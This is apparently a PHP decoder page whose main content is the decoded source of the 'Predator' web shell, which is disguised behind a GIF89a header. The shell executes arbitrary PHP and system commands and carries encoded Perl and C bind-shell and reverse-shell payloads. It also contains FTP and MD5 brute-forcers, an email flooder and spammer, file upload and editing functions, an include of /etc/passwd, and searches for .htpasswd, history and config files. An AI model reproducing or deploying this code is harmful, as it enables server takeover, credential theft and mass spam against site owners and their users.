Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval('?>'.base64_decode('R0lGODlhMSBHSUY4OWExIA0KPD9waHANCiRhdXRoID0gMDsNCg0KDQoNCml..

Decoded Output download

?>b'GIF89a1 GIF89a1 
<?php
$auth = 0;



ini_set("session.gc_maxlifetime",1);
session_start();
error_reporting(0);
safe_mode();
$name="9b534ea55d0b82c3a7e80003a84b6865";     //login = \'mylogin\'
$pass="a029d0df84eb5549c641e04a9ef389e5";     //pass  = \'mypass\'
if($auth == 1){
if (!isset($HTTP_SERVER_VARS[\'PHP_AUTH_USER\']) || md5($HTTP_SERVER_VARS[\'PHP_AUTH_USER\'])!=$name || md5($HTTP_SERVER_VARS[\'PHP_AUTH_PW\'])!=$pass)
   {
   header("WWW-Authenticate: Basic realm=\"PanelAccess\"");
   header("HTTP/1.0 401 Unauthorized");
   exit("Access Denied");
   }
}

if($_GET[\'kill\']==\'yes\')
{
unlink($_SERVER[\'SCRIPT_FILENAME\']);
echo "<script>alert(\'Your shell script was succefully deleted!\')</script>";
}


function md5_brute($hash,$log,$dict)
{
ignore_user_abort(1);
set_time_limit(0);

$fl = fopen($dict, "r");
$fl = fopen($log, "w");
$count = 0;
if(!$dict){
return "Fill \'dictionary_file\' field!";
}if(!$log){
return "Fill \'log_file\' field!";
}elseif(!strlen($hash) == 0){
return "Fill \'md5_hash\' field!";
}else{
	while(!$feof($dict)){
		$pass = fgets($dict);
		$brute_hash = md5($pass);
		if($brute_hash == $hash){
			fputs($log, "$hash:$pass
---");
			fclose($dict);
			fclose($log);
			exit;
		}else{
			$count = $count + 1;
			fputs($log, "$count passwords was bruted...");
		}
	}
	fputs($log, "$count passwords are failed!");
}
fclose($dict);
fclose($log);
}

function port_bind($port,$pass,$method)
{
$perl = "IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vYmFzaCAtaSI7DQppZiAoQEFSR1YgPCAxKSB7IGV4aXQoMSk7IH0NCiRMS
VNURU5fUE9SVD0kQVJHVlswXTsNCnVzZSBTb2NrZXQ7DQokcHJvdG9jb2w9Z2V0cHJvdG9ieW5hbWUoJ3RjcCcpOw0Kc29ja2V0KFMsJlBGX0lORVQs
JlNPQ0tfU1RSRUFNLCRwcm90b2NvbCkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVV
TRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJExJU1RFTl9QT1JULElOQUREUl9BTlkpKSB8fCBkaWUgIkNhbnQgb3BlbiBwb3J0XG4iOw0KbG
lzdGVuKFMsMykgfHwgZGllICJDYW50IGxpc3RlbiBwb3J0XG4iOw0Kd2hpbGUoMSkNCnsNCmFjY2VwdChDT05OLFMpOw0KaWYoISgkcGlkPWZvcmspK
Q0Kew0KZGllICJDYW5ub3QgZm9yayIgaWYgKCFkZWZpbmVkICRwaWQpOw0Kb3BlbiBTVERJTiwiPCZDT05OIjsNCm9wZW4gU1RET1VULCI+JkNPTk4i
Ow0Kb3BlbiBTVERFUlIsIj4mQ09OTiI7DQpleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCmNsb3N
lIENPTk47DQpleGl0IDA7DQp9DQp9";
$c = "I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8c3lzL3R5cGVzLmg+DQojaW5jbHVkZS
A8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxlcnJuby5oPg0KaW50IG1haW4oYXJnYyxhcmd2KQ0KaW50I
GFyZ2M7DQpjaGFyICoqYXJndjsNCnsgIA0KIGludCBzb2NrZmQsIG5ld2ZkOw0KIGNoYXIgYnVmWzMwXTsNCiBzdHJ1Y3Qgc29ja2FkZHJfaW4gcmVt
b3RlOw0KIGlmKGZvcmsoKSA9PSAwKSB7IA0KIHJlbW90ZS5zaW5fZmFtaWx5ID0gQUZfSU5FVDsNCiByZW1vdGUuc2luX3BvcnQgPSBodG9ucyhhdG9
pKGFyZ3ZbMV0pKTsNCiByZW1vdGUuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7IA0KIHNvY2tmZCA9IHNvY2tldChBRl9JTkVULF
NPQ0tfU1RSRUFNLDApOw0KIGlmKCFzb2NrZmQpIHBlcnJvcigic29ja2V0IGVycm9yIik7DQogYmluZChzb2NrZmQsIChzdHJ1Y3Qgc29ja2FkZHIgK
ikmcmVtb3RlLCAweDEwKTsNCiBsaXN0ZW4oc29ja2ZkLCA1KTsNCiB3aGlsZSgxKQ0KICB7DQogICBuZXdmZD1hY2NlcHQoc29ja2ZkLDAsMCk7DQog
ICBkdXAyKG5ld2ZkLDApOw0KICAgZHVwMihuZXdmZCwxKTsNCiAgIGR1cDIobmV3ZmQsMik7DQogICB3cml0ZShuZXdmZCwiUGFzc3dvcmQ6IiwxMCk
7DQogICByZWFkKG5ld2ZkLGJ1ZixzaXplb2YoYnVmKSk7DQogICBpZiAoIWNocGFzcyhhcmd2WzJdLGJ1ZikpDQogICBzeXN0ZW0oImVjaG8gd2VsY2
9tZSB0byByNTcgc2hlbGwgJiYgL2Jpbi9iYXNoIC1pIik7DQogICBlbHNlDQogICBmcHJpbnRmKHN0ZGVyciwiU29ycnkiKTsNCiAgIGNsb3NlKG5ld
2ZkKTsNCiAgfQ0KIH0NCn0NCmludCBjaHBhc3MoY2hhciAqYmFzZSwgY2hhciAqZW50ZXJlZCkgew0KaW50IGk7DQpmb3IoaT0wO2k8c3RybGVuKGVu
dGVyZWQpO2krKykgDQp7DQppZihlbnRlcmVkW2ldID09ICdcbicpDQplbnRlcmVkW2ldID0gJ1wwJzsgDQppZihlbnRlcmVkW2ldID09ICdccicpDQp
lbnRlcmVkW2ldID0gJ1wwJzsNCn0NCmlmICghc3RyY21wKGJhc2UsZW50ZXJlZCkpDQpyZXR1cm4gMDsNCn0=";

if($method==\'Perl\')
	{
		fputs($i=fopen(\'/tmp/shlbck\',\'w\'),base64_decode($perl));
		fclose($i);
		ex(which("perl")." /tmp/shlbck ".$port." &");
		unlink("/tmp/shlbck");
		return ex(\'ps -aux | grep shlbck\');
	}
elseif($method==\'C#\')
	{
		fputs($i=fopen(\'/tmp/shlbck.c\',\'w\'),base64_decode($c));
		fclose($i);
		ex("gcc shlbck.c -o shlbck");
		unlink(\'shlbck.c\');
		ex("/tmp/shlbck ".$port." ".$pass." &");
		unlink("/tmp/shlbck");
		return ex(\'ps -aux | grep shlbck\');
	}else
	{
	return \'Choose method\';
	}

}

function backconnect($ip,$port,$method)
{
$perl = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj
aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR
hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT
sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI
kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi
KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl
OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";

$c = "I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC
BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb
SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd
KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ
sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC
Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D
QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp
Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";

if($method==\'Perl\')
	{
		fputs($i=fopen(\'/tmp/shlbck\',\'w\'),base64_decode($perl));
		fclose($i);
		ex(which("perl")." /tmp/shlbck ".$ip." ".$port." &");
		unlink("/tmp/shlbck");
		return ex(\'netstat -an | grep -i listen\');
	}
elseif($method==\'C#\')
	{
		fputs($i=fopen(\'/tmp/shlbck.c\',\'w\'),base64_decode($c));
		fclose($i);
		ex("gcc shlbck.c -o shlbck");
		unlink(\'shlbck.c\');
		ex("/tmp/shlbck ".$ip." ".$port." &");
		unlink("/tmp/shlbck");
		return ex(\'netstat -an | grep -i listen\');
	}else
	{
	return \'Choose method\';
	}
}

if($_POST[\'type\']==11){download(stripslashes($_POST[\'value\']));};

function download($dfilename)
{
	$file=fopen($dfilename,"r");
	ob_clean();
    $filename = basename($dfilename);
    $filedump = fread($file,@filesize($dfilename));
    fclose($file);
    header("Content-type: ".$mime_type);
    header("Content-disposition: attachment; filename=\"".$filename."\";");   
    echo $filedump;
}

function flooder($logf,$to,$from,$subject,$msg,$amount,$check)
{
ignore_user_abort(1);
set_time_limit(0);

$fl = fopen($logf, "w");
$count = 0;
if(!$logf){
return "Fill \'log_file\' field!";
}elseif(!$to){
return "Fill \'Send to\' field!";
}elseif(!$from){
return "Fill \'From\' field!";
}elseif(!$subject){
return "Fill \'Subject\' field!";
}elseif(!$msg){
return "Fill \'Message\' field!";
}elseif(!$amount){
return "Fill \'Amount\' field!";
}else{
	while($count < $amount){
		mail("$to", "$subject", "$msg", "From: $from");
		$count = $count + 1;
		$fl = fopen($logf, "w");
		fputs($fl, "$count flood-letters was sended...");
		fclose($fl);	
	}
	if(strlen($check) != 0){
		$check_text = "Done! $count flood-letters was sended!";
		$check_sub = \'Check\';
		mail("$check", "$check_sub", "$check_text", "From: $from");
		$fl = fopen($logf, "w");
		fputs($fl, "Done! $count flood-letters was sended!");
	}
	else{
		$fl = fopen($logf, "w");
		fputs($fl, "Done! $count flood-letters was sended!");
	}
}
fclose($fl);
}

function ftp_brute($host,$ftp_users,$ftp_passwd,$ftp_log)
{
ignore_user_abort(1);
set_time_limit(0);

$fl = fopen($ftp_users, "r");
$fd = fopen($ftp_passwd, "r");
$fr = fopen($ftp_log, "a+");
if(!$host){
return "Fill \'Host\' field!";
}elseif(!$ftp_users){
return "Fill \'ftp_users file\' field!";
}elseif(!$ftp_passwd){
return "Fill \'ftp_passwd file\' field!";
}elseif(!$ftp_log){
return "Fill \'ftp_log file\' field!";
}elseif(!file_exists($ftp_users)){
return "File ".$ftp_users." doesn\'t exists!";
}elseif(!file_exists($ftp_passwd)){
return "File ".$ftp_passwd." doesn\'t exists!";
}
else{
	while(!feof($fd)){
        	$pass = fgets($fd);
                	while(!feof($fl)){
                        	$user = fgets($fl);
                                $connect = ftp_connect($host);
                                if(!$connect){
                                	fputs($fr, "Enable connect to $host
");
                                        exit;
                                }else{
                                	$auth = ftp_login($connect, $user, $pass);
                                	if(!$auth){
                                		ftp_quit($connect);
                                	}
                                	else{
                                		fputs($fr, "$host:
---$login:$pass
---");
                                		ftp_quit($connect);
                                	} 
                                }
                	}
	}
	fputs($fr, "Done:
");
	fclose($fr);
}
fclose($fl);
fclose($fd);
}

function spammer($from,$subject,$msg,$check,$elist,$logf)
{
ignore_user_abort(1);
set_time_limit(0);

$fp = fopen($elist. "r");
$fl = fopen($logf, "w");
$count = 0;
if(!$from){
return "Fill \'From\' field!";
}elseif(!$elist){
return "Fill \'Emails list\' field!";
}elseif(!$logf){
return "Fill \'Log File\' field!";
}elseif(!$msg){
return "Fill \'Message\' field!";
}elseif(!$subject){
return "Fill \'Subject\' field!";
}elseif(!file_exists($elist)){
return "File ".$elist." doesn\'t exists!";
}else{
	while(!feof($fp)){
		$to = fgets($fp);
		mail("$to", "$subject", "$msg", "From: $from");
		$count = $count + 1;
		$fl = fopen($logf, "w");
		fputs($fl, "$count letters was sended...");
		fclose($fl);
	}
	if(strlen($check) != 0){
		$check_text = "Done! $count letters was sended!";
		$check_sub = \'Check\';
		mail("$check", "$check_sub", "$check_text", "From: $from");
		$fl = fopen($logf, "w");
		fputs($fl, "Done! $count letters was sended!
");
	}
	else{
		$fl = fopen($logf, "w");
		fputs($fl, "Done! $count letters was sended!");
	}
}
fclose($fp);
fclose($fl);
}

function alias($in)
{
if($in=="find apahce config file"){return ex(\'find / -type f -name httpd.conf\');}
elseif($in=="find access_log files"){return ex(\'find / -type f -name access_log\');}
elseif($in=="find error_log files"){return ex(\'find / -type f -name error_log\');}
elseif($in=="find suid files"){return ex(\'find / -type f -perm -04000 -ls\');}
elseif($in=="find suid files in current dir"){return ex(\'find . -type f -perm -04000 -ls\');}
elseif($in=="find sgid files"){return ex(\'find / -type f -perm -02000 -ls\');}
elseif($in=="find sgid files in current dir"){return ex(\'find . -type f -perm -02000 -ls\');}
elseif($in=="find config.inc.php files"){return ex(\'find / -type f -name config.inc.php\');}
elseif($in=="find config.inc.php files in current dir"){return ex(\'find . -type f -name config.inc.php\');}
elseif($in=="find config* files"){return ex(\'find / -type f -name "config*"\');}
elseif($in=="find config* files in current dir"){return ex(\'find . -type f -name "config*"\');}
elseif($in=="find all writable files"){return ex(\'find / -type f -perm -2 -ls\');}
elseif($in=="find all writable files in current dir"){return ex(\'find . -type f -perm -2 -ls\');}
elseif($in=="find all writable directories"){return ex(\'find / -type d -perm -2 -ls\');}
elseif($in=="find all writable directories in current dir"){return ex(\'find . -type d -perm -2 -ls\');}
elseif($in=="find all writable directories and files"){return ex(\'find / -perm -2 -ls\');}
elseif($in=="find all writable directories and files in current dir"){return ex(\'find . -perm -2 -ls\');}
elseif($in=="find all service.pwd files"){return ex(\'find / -type f -name service.pwd\');}
elseif($in=="find service.pwd files in current dir"){return ex(\'find . -type f -name service.pwd\');}
elseif($in=="find all .htpasswd files"){return ex(\'find / -type f -name .htpasswd\');}
elseif($in=="find .htpasswd files in current dir"){return ex(\'find . -type f -name .htpasswd\');}
elseif($in=="find all .bash_history files"){return ex(\'find / -type f -name .bash_history\');}
elseif($in=="find .bash_history files in current dir"){return ex(\'find . -type f -name .bash_history\');}
elseif($in=="find all .mysql_history files"){return ex(\'find / -type f -name .mysql_history\');}
elseif($in=="find .mysql_history files in current dir"){return ex(\'find . -type f -name .mysql_history\');}
elseif($in=="find all .fetchmailrc files"){return ex(\'find / -type f -name .fetchmailrc\');}
elseif($in=="find .fetchmailrc files in current dir"){return ex(\'find . -type f -name .fetchmailrc\');}
elseif($in=="list file attributes on a Linux second extended file system"){return ex(\'lsattr -va\');}
elseif($in=="show opened ports"){return ex(\'netstat -an | grep -i listen\');}
elseif($in=="---------------------------------------------------------------------------------------------------------"){return ex(\'ls -la\');}
}

function testperl()
{
	if(ex(\'perl -h\'))
	{
		return " Perl2:ON</font>";
	}else{
		return " Perl2:OFF</font>";
	}
}

function testlynx()
{
	if(ex(\'lynx --help\'))
	{
		return "<font size=2 color=green>ON</font>";
	}else{
		return "<font size=2 color=red>OFF</font>";
	}
}


function view_size($size)
{
 if($size >= 1073741824) {$size = @round($size / 1073741824 * 100) / 100 . " GB";}
 elseif($size >= 1048576) {$size = @round($size / 1048576 * 100) / 100 . " MB";}
 elseif($size >= 1024) {$size = @round($size / 1024 * 100) / 100 . " KB";}
 else {$size = $size . " B";}
 return $size;
}

function testfetch()
{
	if(ex(\'fetch --help\'))
	{
		return "<font size=2 color=green>ON</font>";
	}else{
		return "<font size=2 color=red>OFF</font>";
	}
}

function testwget()
{
	if(ex(\'wget --help\'))
	{
		return " wget2:ON</font>";
	}else{
		return " wget2:OFF</font>";
	}
}

function oracle()
{
	if(function_exists(\'ocilogon\'))
	{
		return "<font size=2 color=green>ON</font>";
	}else{
		return "<font size=2 color=red>OFF</font>";
	}
}

function postgresql()
{
	if(function_exists(\'pg_connect\'))
	{
		return "<font size=2 color=green>ON</font>";
	}else{
		return "<font size=2 color=red>OFF</font>";
	}
}

function testmssql()
{
	if(function_exists(\'mssql_connect\'))
	{
		return "<font size=2 color=green>ON</font>";
	}else{
		return "<font size=2 color=red>OFF</font>";
	}
}
function testcurl()
{
	if(function_exists(\'curl_version\'))
	{
		return "<font size=2 color=green>ON</font>";
	}else{
		return "<font size=2 color=red>OFF</font>";
	}
}
function testmysql()
{
	if(function_exists(\'mysql_connect\'))
	{
		return "<font size=2 color=green>ON</font>";
	}else{
		return "<font size=2 color=red>OFF</font>";
	}
}
function safe_mode()
{
if(!$safe_mode && strpos(ex("echo abch0ld"),"h0ld")!=3)
	{
		$_SESSION[\'safe_mode\'] = 1;
		return " Safe_mode2:ON</font>";
	}else{
		$_SESSION[\'safe_mode\'] = 0;
		return " Safe_mode2:OFF</font>";
	}
};

function ex($in)
{
$out = \'\';


if(function_exists(\'exec\'))
	{
		exec($in,$out);
		$out = join("
",$out);
	}
elseif(function_exists(\'passthru\'))
	{
		ob_start();
		passthru($in);
		$out = ob_get_contents();
		ob_end_clean();
	}
elseif(function_exists(\'system\'))
	{
		ob_start();
		system($in);
		$out = ob_get_contents();
		ob_end_clean();
	}
elseif(function_exists(\'shell_exec\'))
	{
		$out = shell_exec($in);
	}
elseif(is_resource($f = popen($in,"r")))
  {
   $out = "";
   while(!@feof($f)) { $out .= fread($f,1024); }
   pclose($f);
  }
return $out;
}

function shell()
{
if($_POST[\'type\']==1)
	{		
		eval(stripslashes($_POST[\'value\']));
	}
elseif($_POST[\'type\']==2)
	{
		pwd();
		print_r(ex(stripslashes($_POST[\'value\'])));
	}
elseif($_POST[\'type\']==3)
	{
		if($_SESSION[\'safe_mode\'] == 1){
		if(($u=safe_ex(\'ls -la\'))!=\'\')
		{return $u;}else{return safe_ex(\'dir\');};
		
		}else{
		if(($u=ex(\'ls -la\'))!=\'\')
		{return $u;}else{return ex(\'dir\');};
		}
	}
elseif($_POST[\'type\']==4)
	{
		if(file_exists(stripslashes($_POST[\'value\'])))
			{
				if($safe_mode!=1){
				echo htmlspecialchars(fread(fopen(stripslashes($_POST[\'value\']),"rw"),filesize(stripslashes($_POST[\'value\']))));
				}else{
				echo htmlspecialchars(safe_read(stripslashes($_POST[\'value\'])));
				};
				$_SESSION[\'edit\']=1;
				$_SESSION[\'filename\'] = $_POST[\'value\'];
			}else{
				return \'File doesn\'t exists!\';
			}
	}
elseif($_POST[\'type\']==5)
	{
		fputs(fopen($_SESSION[\'filename\'],"w"),stripslashes($_POST[\'value\']));
	}
elseif($_POST[\'type\']==6)
	{
		$uploaddir = pwd();
		if(!$name=$_POST[\'newname\']){$name = $_FILES[\'userfile\'][\'name\'];};
		move_uploaded_file($_FILES[\'userfile\'][\'tmp_name\'], $uploaddir.$name); 	
	}
elseif($_POST[\'type\']==7)
	{
		echo alias($_POST[\'value\']);
	}
elseif($_POST[\'type\']==8)
	{
		echo spammer(stripslashes($_POST[\'from\']),stripslashes($_POST[\'subject\']),stripslashes($_POST[\'msg\']),stripslashes($_POST[\'check\']),stripslashes($_POST[\'elist\']),stripslashes($_POST[\'logf\']));
	}
elseif($_POST[\'type\']==9)
	{
		echo ftp_brute(stripslashes($_POST[\'host\']),stripslashes($_POST[\'users\']),stripslashes($_POST[\'passwd\']),stripslashes($_POST[\'log\']));
	}
elseif($_POST[\'type\']==10)
	{
		echo flooder(stripslashes($_POST[\'log\']),stripslashes($_POST[\'to\']),stripslashes($_POST[\'from\']),stripslashes($_POST[\'subject\']),stripslashes($_POST[\'msg\']),stripslashes($_POST[\'amount\']),stripslashes($_POST[\'check\']));
	}
elseif($_POST[\'type\']==12)
	{
		echo backconnect(stripslashes($_POST[\'ip\']),stripslashes($_POST[\'port\']),stripslashes($_POST[\'method\']));
	}
elseif($_POST[\'type\']==13)
	{
		echo backconnect(stripslashes($_POST[\'port\']),stripslashes($_POST[\'pass\']),stripslashes($_POST[\'method\']));
	}
elseif($_POST[\'type\']==14)
	{
		echo md5_brute(stripslashes($_POST[\'hash\']),stripslashes($_POST[\'log\']),stripslashes($_POST[\'dict\']));
	}

else 
	{$u = ex(\'ls -la\');
	 if($u == \'\'){return ex(\'dir\');}else{return $u;};
	}

return null;
};

function edit()
{
if ($_SESSION[\'edit\'] == 1){
$_SESSION[\'edit\']=0;
return "<br><center><input type=submit style=\"border:1px solid #666666;background:#333333;font-weight:bold;\" value=\"Save\"></center>";};
}

function getsystem()
{
	return php_uname(\'s\')." ".php_uname(\'r\')." ".php_uname(\'v\');
};	

function getserver()
{
	return getenv("SERVER_SOFTWARE");
};


function getuser()
{
$out = get_current_user();	
	if($out!="SYSTEM")
		{
			if(($out=ex(\'id\'))==\'\'){$out = "uid=".getmyuid()."(".get_current_user().") gid=".getmygid();};
		}
return $out;
};

function pwd()
{
if($_POST[\'type\']==3)
	{
		$_SESSION[\'pwd\'] = stripslashes($_POST[\'value\']);
	}
chdir($_SESSION[\'pwd\']);
$cwd = getcwd();
if($u=strrpos($cwd,\'/\'))
	{
		if($u!=strlen($cwd)-1){
		return $cwd.\'/\';}
		else{return $cwd;};
	}
elseif($u=strrpos($cwd,\'\\'))
	{
		if($u!=strlen($cwd)-1){
		return $cwd.\'\\';}
		else{return $cwd;};
	};
}

function safe_ex($in)
{
if($in){
$d=dir(\'.\');

   while (false!==($file=$d->read()))
    {
     if ($file=="." || $file=="..") continue;
     @clearstatcache();
     list ($dev, $inode, $inodep, $nlink, $uid, $gid, $inodev, $size, $atime, $mtime, $ctime, $bsize) = stat($file);
     if(!$unix){ 
     echo date("d.m.Y	 H:i",$mtime)."	";
     if(@is_dir($file)) echo "  <DIR> "; else printf("% 7s ",$size);
     }
     else{ 
     $owner = @posix_getpwuid($uid);
     $grgid = @posix_getgrgid($gid);
     echo $inode." ";
     echo perms(@fileperms($file));
     printf("% 4d % 9s % 9s %7s ",$nlink,$owner[\'name\'],$grgid[\'name\'],$size);
     echo date("d.m.Y H:i ",$mtime);
     }
     echo "$file
";
    }
   $d->close();
}

function safe_read($in)
{
echo ini_get("safe_mode");
echo ini_get("open_basedir");
include("/etc/passwd");
ini_restore("safe_mode");
ini_restore("open_basedir");
echo ini_get("safe_mode");
echo ini_get("open_basedir");

file_get_contents($in);
}

}
?>










<html>
<head>
<title>.::Predator::.</title>
<META http-equiv="Content-Type" content="text/html; charset=CP866">
<style type=text/css>
.ta {background: #333333; border:1px solid #666666; color: #FFFFFF;}
.bt {border: 1px solid #666666;background: #333333;font-weight:bold;}
.td1 {border:2px solid #000000;}
.td2 {border:1px solid #000000;}
.ram {border:1px solid #666666;background:#222222;}
body { scrollbar-base-color: #333333}
</style>
<script>
function kill()
{
var y;
y = confirm(\'Are you really want to kill shell?\');
if(y == true)
{
document.location = \'?kill=yes\';
}
}
</script>
</head>
<body bgcolor=\'#000000\'>
<center><table width=90% cellpadding=0 cellspacing=0 style="border: 1px solid #666666">
<tr><td width=100% height=70 bgcolor=\'#333333\' style="border-bottom: 2px solid #666666" valign=top>
<table valign=top>
<tr><td valign=top>
<table valign=center class=\'ram\'>
<tr><td width=5% align=right>
<font size=2 color=#888888>System:</font>
</td>
<td width=100%>
<font size=2 color=red><b><?php echo getsystem();?></b></font>
</td></tr>
<tr><td width=5% align=right>
<font size=2 color=#888888>Server:</font>
</td>
<td width=100%>
<font size=2 color=red><b><?php echo getserver();?></b></font>
</td></tr>
<tr><td width=5% align=right>
<font size=2 color=#888888>User:</font>
</td>
<td width=100%>
<font size=2 color=red><b><?php echo getuser();?></b></font>
</td></tr>
<tr><td width=5% align=right>
<font size=2 color=#888888>pwd:</font>
</td>
<td width=100%>
<font size=2 color=red><b><?php if(strlen($u=pwd())>45){echo "...".substr($u,strlen($u)-40,40);}else{echo $u;};?></b></font>
</td></tr>
</table>
</td>
<td width=13% valign=center align=center>
<table width=100% height=100% cellpadding=0 cellspacing=0><tr><td width=100% height=100%>
<center>
<a href="http://h0ld-up.info"><table cellpadding=2 cellspacing=2 style="border:1px solid #666666;background:#444444">
<tr><td><font size=2 color=#999999>
<center><b>.::h0ld-up-team::.<br>web-shell</b></center>
</font></td></tr></table></a></center>
</td></tr><tr><td height=5></td></tr><tr><td>
<center>

<input type=submit style="border:1px solid #666666;background: darkred;font-weight:bold;" value=\'   Kill Shell   \' onclick=\'kill()\'>

</center>
</td></tr></table>

</td>
<td class=\'ram\' width=45% valign=center align=center>
<table  cellpadding=0 cellspacing=0>
<tr><td>
<table valign=top cellpadding=0 cellspacing=0>
<tr><td align=right>
<font size=2 color=\'#888888\'>PHP-version:</font>
</td></tr>
<tr><td align=right>
<font size=2 color=\'#888888\'>MySQL:</font>
</td></tr>
<tr><td align=right>
<font size=2 color=\'#888888\'>MSSQL:</font>
</td></tr>
<tr><td align=right>
<font size=2 color=\'#888888\'>PostgreSQL:</font>
</td></tr>
<tr><td align=right>
<font size=2 color=\'#888888\'>Oracle:</font>
</td></tr>
</table>
</td><td>
<table valign=top  cellpadding=0 cellspacing=0>
<tr><td>
<b><font size=2 color=red><?php echo phpversion();?></font></b>
</td></tr>
<tr><td>
<b><?php echo testmysql();?></b>
</td></tr>
<tr><td>
<b><?php echo testmssql();?></b>
</td></tr>
<tr><td>
<b><?php echo postgresql();?></b>
</td></tr>
<tr><td>
<b><?php echo oracle();?></b>
</td></tr>
</table>
</td><td width=4%></td>
<td valign=top><table cellpadding=0 cellspacing=0 valign=top>
<tr><td valign=top align=right>
<font color=#888888 size=2>Safe_mode:</font>
</td></tr>
<tr><td valign=top align=right>
<font color=#888888 size=2>cURL:</font>
</td></tr>
<tr><td valign=top align=right>
<font color=#888888 size=2>wget:</font>
</td></tr>
<tr><td valign=top align=right>
<font color=#888888 size=2>fetch:</font>
</td></tr>
<tr><td valign=top align=right>
<font color=#888888 size=2>lynx:</font>
</td></tr>
</table></td>
<td valign=top><table cellpadding=0 cellspacing=0 valign=top>
<tr><td valign=top>
<b><?php echo safe_mode();?></b>
</td></tr>
<tr><td valign=top>
<b><?php echo testcurl();?></b>
</td></tr>
<tr><td valign=top>
<b><?php echo testwget();?></b>
</td></tr>
<tr><td valign=top>
<b><?php echo testfetch();?></b>
</td></tr>
<tr><td valign=top>
<b><?php echo testlynx();?></b>
</td></tr>
</table></td>
<td width=4%></td>
<td valign=top><table cellpadding=0 cellspacing=0 valign=top>
<tr><td valign=top align=right>
<font color=#888888 size=2>Perl:</font>
</td></tr>
<tr><td valign=top align=right>
<font color=#888888 size=2>Server time:</font>
</td></tr>
<tr><td valign=top align=right>
<font color=#888888 size=2>Server date:</font>
</td></tr>
<tr><td valign=top align=right>
<font color=#888888 size=2>Total space:</font>
</td></tr>
<tr><td valign=top align=right>
<font color=#888888 size=2>Free space:</font>
</td></tr>
</table></td>
<td valign=top><table cellpadding=0 cellspacing=0 valign=top>
<tr><td valign=top>
<b><font size=2 color=green><?php echo testperl();?></font></b>
</td></tr>
<tr><td valign=top>
<b><font size=2 color=#999999><?php echo date(\'H:i\');?></font></b>
</td></tr>
<tr><td valign=top>
<b><font size=2 color=#999999><?php echo date(\'d-m-Y\');?></font></b>
</td></tr>
<tr><td valign=top>
<b><font size=2 color=#999999><?php echo view_size(disk_total_space(getcwd()));?></font></b>
</td></tr>
<tr><td valign=top>
<b><font size=2 color=#999999><?php echo view_size(diskfreespace(getcwd()));?></font></b>
</td></tr>
</table></td></tr>
</table>
</td></tr>
</table>
</td></tr>
<tr><td width=100% height=100% bgcolor=\'#333333\' valign=top>
<table width=100%>
<tr><td valign=top align=center>
<table width=100% height=200 class=\'td1\'>
<tr><td valign=top align=left width=50%>
<form action method=POST>
<input type=hidden name="type" value=5>
<textarea cols=80 rows=13 name="value" class=\'ta\'>
<?php echo htmlspecialchars(shell());?>
</textarea><?php echo edit();?></form>
</td>



<td valign=top align=left width=10%>
<table width=100% height=100% class=\'td2\'>
<form action method=POST><tr><td valign=top align=left height=40% style="border-bottom: 1px solid #000000;">
